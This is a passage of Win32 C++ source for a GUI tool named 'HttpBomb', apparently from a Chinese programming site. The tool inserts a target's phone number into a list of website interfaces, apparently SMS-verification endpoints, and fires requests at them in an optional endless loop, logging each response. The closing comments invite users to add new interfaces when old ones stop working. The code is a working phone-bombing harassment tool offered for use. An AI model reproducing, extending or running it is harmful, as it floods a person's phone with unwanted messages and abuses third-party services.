if (iFoundPos==std::string::npos)//npos==-1
{
return -1;
}
else
{
pstrTargetWebsiteInterface[Index].erase(iFoundPos,lstrlen("%phone_number%"));
pstrTargetWebsiteInterface[Index].insert(iFoundPos,pchPhoneNum);
lpszWebSite=(TCHAR*)pstrTargetWebsiteInterface[Index].c_str();//;
}
DWORD dwSize = 0,
dwFlags = INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE;
char *lpBufferA=NULL,
*lpHeadersA=NULL;
WCHAR *lpBufferW=NULL,
*lpHeadersW=NULL;
LPTSTR AcceptTypes[2] = {TEXT("*/*"), NULL};
hOpen = InternetOpen (TEXT("HttpBomb"), INTERNET_OPEN_TYPE_PRECONFIG,
NULL, NULL, 0);
if (!hOpen)
{
wsprintf (szErrMsg, TEXT("%s: %d"), TEXT("InternetOpen Error"),
GetLastError());
return FALSE;
}
if (!(hRequest = InternetOpenUrl (hOpen, lpszWebSite, NULL, 0,
INTERNET_FLAG_RELOAD, 0)))
{
wsprintf (szErrMsg, TEXT("%s: %d"), TEXT("InternetOpenUrl Error"),
GetLastError());
return -1;
}
{
DWORD dwStatus;
DWORD dwStatusSize = sizeof(dwStatus);
HttpQueryInfo(hRequest, HTTP_QUERY_FLAG_NUMBER |
HTTP_QUERY_STATUS_CODE, &dwStatus, &dwStatusSize, NULL);
switch (dwStatus)
{
case HTTP_STATUS_OK:
break;
case HTTP_STATUS_DENIED:
break;
}
}
HttpQueryInfo(hRequest, HTTP_QUERY_RAW_HEADERS_CRLF, NULL, &dwSize,NULL);
lpHeadersA= new CHAR [dwSize];//007
memset(lpHeadersA,0,dwSize*sizeof(CHAR));
if (!HttpQueryInfo(hRequest,
HTTP_QUERY_RAW_HEADERS_CRLF,
(LPVOID)lpHeadersA, &dwSize, NULL))//buffer size in byte
{
wsprintf (szErrMsg, TEXT("%s: %d"), TEXT("HttpQueryInfo"),
GetLastError());
return -1;
}
lpHeadersA [dwSize] = '\0';
dwSize=MultiByteToWideChar (CP_ACP, 0, lpHeadersA, -1, NULL, 0);
lpHeadersW = new WCHAR [dwSize+1];
MultiByteToWideChar (CP_ACP, 0, lpHeadersA, -1, lpHeadersW, dwSize);
CHAR chCurrPathDir[ONEHUNDRED*5]="",chARandFileName[ONEHUNDRED]="",gchATotalSize[ONEHUNDRED]="";;
itoa(GetRandomNum(),chARandFileName,10);
GetCurrentDirectoryA(sizeof(CHAR)*ONEHUNDRED*5,chCurrPathDir);
lstrcatA(chCurrPathDir,"\\");
lstrcatA(chCurrPathDir,chARandFileName);
lstrcatA(chCurrPathDir,".txt");
HANDLE hFileHtml=CreateTmpFile(chCurrPathDir);
DWORD dwHtmlSize=0,dwWritedBytes=0;
dwWritedBytes=FuncSaveFile(hFileHtml,lpHeadersA,dwSize);
gdwTotalSize=gdwTotalSize+dwWritedBytes;
lpBufferA = new CHAR [MAXSIZE];
memset(lpBufferA,0,MAXSIZE*sizeof(char));
do
{
if (!InternetReadFile(hRequest, (LPVOID)lpBufferA, MAXSIZE, &dwSize))
{
wsprintf(szErrMsg, TEXT("%s: %d"), TEXT("InternetReadFile Error"),
GetLastError());
return -1;
}
if (dwSize != 0)
{
dwWritedBytes=FuncSaveFile(hFileHtml,lpBufferA,dwSize);
gdwTotalSize=gdwTotalSize+dwWritedBytes;
memset(lpBufferA,0,dwSize*sizeof(char));
}
} while (dwSize);
CloseHandle(hFileHtml);
wsprintf(gchATotalSize, TEXT("%s:%d"), TEXT("Bytes"),gdwTotalSize);
pLV=new Lv_ITEM;
gdwCounterNumber++;
pLV->iIndex=gdwCounterNumber;
pLV->lvDataize=(LPTSTR)gchATotalSize;
pLV->lvHeader=(LPTSTR)lpHeadersA;
pLV->lvSavePath=(LPTSTR)chCurrPathDir;
ListView_InsertLVItem(ghLvDataCtrl,pLV);//
wsprintf(gchACounterSize, TEXT("%s:%d----%s:%d/159"), TEXT("Counter"),gdwCounterNumber,TEXT("Percent"),gdwCounterNumber);
SendMessage(ghEdtCounterCtrl,WM_SETTEXT,0,(LPARAM)gchACounterSize);
delete[] lpBufferA;
delete[] lpHeadersW;
delete[] lpHeadersA;
delete[] lpBufferW;
delete pLV;
ClearResourceHandle(hOpen,hConnect,hRequest);
return TRUE;
}
main.cpp
//main.cpp
#include "FuctionComm.h"
#include "resource.h"
#include <string.h>
#include <WinUser.h>
static HINSTANCE g_hinst;
INT_PTR nRet=NULL;
static HWND ghDlg;
static HWND ghLvDataCtrl;
static HWND ghEdtPhoneCtrl;
static HWND ghEdtCounterCtrl;
static HWND ghBtnSendCtrl;
static HWND ghProcessBarCtrl;
static HMENU ghLvMenu;
TCHAR gtchPhoneNum[MAX_PATH];
PLv_ITEM gplvData;
BOOL gbLoopBomb=FALSE;
HANDLE ghThreadHandle=NULL;
void AddPopUpMenus(HMENU &hLvMenu)
{
hLvMenu = CreatePopupMenu();
AppendMenu(hLvMenu, MF_SEPARATOR, 0, NULL);
AppendMenu(hLvMenu, MF_STRING, IDM_OPEN, _T("OPEN"));
AppendMenu(hLvMenu, MF_SEPARATOR, 0, NULL);
AppendMenu(hLvMenu, MF_STRING, IDM_DEL, _T("DELETE"));
}
BOOL ShowPopupMenu(HMENU hMenu, HWND hWnd)
{
POINT pt;
GetCursorPos(&pt);
return TrackPopupMenu(hMenu, TPM_HORIZONTAL, pt.x, pt.y, 0, hWnd, NULL);
}
void InitiateAllCtrls(HWND hWnd)
{
ghLvDataCtrl=GetDlgItem(hWnd,IDC_LIST_VIEW);
ghEdtPhoneCtrl=GetDlgItem(hWnd,IDC_EDIT_PHONE);
ghBtnSendCtrl=GetDlgItem(hWnd,IDC_BTN_SEND);
ghEdtCounterCtrl=GetDlgItem(hWnd,IDC_EDIT_COUNTER);
ghProcessBarCtrl=GetDlgItem(hWnd,IDC_PROGRESS_STATUS);
SendMessage(ghProcessBarCtrl,PBM_SETRANGE32,0,BOMBSNUM);
SetWindowText(ghEdtPhoneCtrl,_TXT("138123*****"));
SetWindowText(ghEdtCounterCtrl,_TXT(""));
DWORD dwLen=GetWindowTextLength(ghEdtPhoneCtrl);//name
GetWindowText(ghEdtPhoneCtrl,gtchPhoneNum,dwLen+1);
ListView_SetColorInfo(ghLvDataCtrl);
ListView_SetExtendedListViewStyle(ghLvDataCtrl,LVS_EX_GRIDLINES|LVS_EX_FULLROWSELECT);
ListView_Initial(ghLvDataCtrl);
}
DWORD WINAPI CallBackLoopThreadProc (LPVOID lp)
{
while (gbLoopBomb)
{
for (int iSubStrIndex=0;iSubStrIndex<BOMBSNUM;iSubStrIndex++)
{
CallBackHttpThreadProc(iSubStrIndex,gtchPhoneNum);
SendMessage(ghProcessBarCtrl,PBM_SETPOS,(WPARAM)iSubStrIndex,0);
Sleep(10);
}
}
return 1;
}
BOOL CALLBACK DlgProcessFunc
(
HWND hDlg,
UINT message,
WPARAM wParam,
LPARAM lParam
)
{
ghDlg=hDlg;
DWORD dwCtrlID;
DWORD dwLen;
switch(message)
{
case WM_PAINT:
{
HDC hDC;
PAINTSTRUCT ps;
hDC = BeginPaint(hDlg, &ps);
RECT rec;
GetClientRect(hDlg,&rec);
HBRUSH hBackBrush=CreateSolidBrush(CLRDLGBACK);
FillRect(hDC,&rec,hBackBrush);
SetClassLongA(hDlg,GCL_HBRBACKGROUND,(long)hBackBrush);
DeleteObject(hBackBrush);
EndPaint(hDlg, &ps);
}break;
case WM_INITDIALOG:
{
SetDlgPosition(hDlg);
AddPopUpMenus(ghLvMenu);
InitiateAllCtrls(hDlg);
}break;
case WM_COMMAND:
{
dwCtrlID=(DWORD)(wParam);
switch(dwCtrlID)
{
case IDC_BTN_SEND:
{
dwLen=GetWindowTextLength(ghEdtPhoneCtrl);//
GetWindowText(ghEdtPhoneCtrl,gtchPhoneNum,dwLen+1);
DWORD dwID=0;
ghThreadHandle=CreateThread(NULL,0,CallBackLoopThreadProc,(LPVOID)0,0,&dwID);
}
break;
case IDM_OPEN:
{
ListView_OpenSavedFile(ghLvDataCtrl);
}
break;
case IDM_DEL:
{
ListView_DeleteSavedFile(ghLvDataCtrl);
}
break;
case IDC_CHECK_CONTINUE:
{
gbLoopBomb=!gbLoopBomb;
if (gbLoopBomb)
MessageBox(hDlg,"Loop OK","tips",MB_OK);
else
MessageBox(hDlg,"Un LOOP","tips",MB_OK);
}
}
}break;
case WM_NOTIFY:
{
LPNMHDR pnmh = (LPNMHDR)lParam;
switch(pnmh->idFrom)
{
case IDC_LIST_VIEW:
{
switch(pnmh->code)
{
case NM_RCLICK:
{
ShowPopupMenu(ghLvMenu, hDlg);
}
break;
case NM_DBLCLK:
{
ListView_OpenSavedFile(ghLvDataCtrl);
}
break;
}
}
break;
}
}
break;
case WM_CLOSE:
{
EndDialog(hDlg,lParam);
}break;
}
return FALSE;
}
int APIENTRY WinMain
(__in HINSTANCE hInstance,
__in_opt HINSTANCE hPrevInstance,
__in LPSTR lpCmdLine,
__in int nShowCmd)
{
g_hinst=hInstance;
InitCommonControls();
nRet=DialogBox
(hInstance,
MAKEINTRESOURCE(IDD_DLG_PROC),
NULL,
(DLGPROC)DlgProcessFunc
);
return nRet;
}
//测试效果截图
//部分接口或许不能使用。自己可手动添加新的接口。
来自 http://www.myexceptions.net/